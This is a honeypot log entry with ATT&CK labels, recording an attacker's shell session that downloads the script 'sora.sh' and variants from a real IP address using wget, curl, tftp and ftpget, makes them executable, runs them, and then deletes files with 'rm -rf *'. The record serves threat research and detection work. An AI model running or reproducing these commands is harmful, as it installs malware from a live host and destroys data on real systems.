Honeypot attack session (period 2021_2022), commands issued:
sh
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://136.144.41.9/sora.sh; curl -O http://136.144.41.9/sora.sh; chmod 777 sora.sh; sh sora.sh; tftp 136.144.41.9 -c get sora.sh; chmod 777 sora.sh; sh sora.sh; tftp -r sora2.sh -g 136.144.41.9; chmod 777 sora2.sh; sh sora2.sh; ftpget -v -u anonymous -p anonymous -P 21 136.144.41.9 sora1.sh sora1.sh; sh sora1.sh; rm -rf sora.sh sora.sh sora2.sh sora1.sh; rm -rf *

MITRE ATT&CK techniques observed:
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal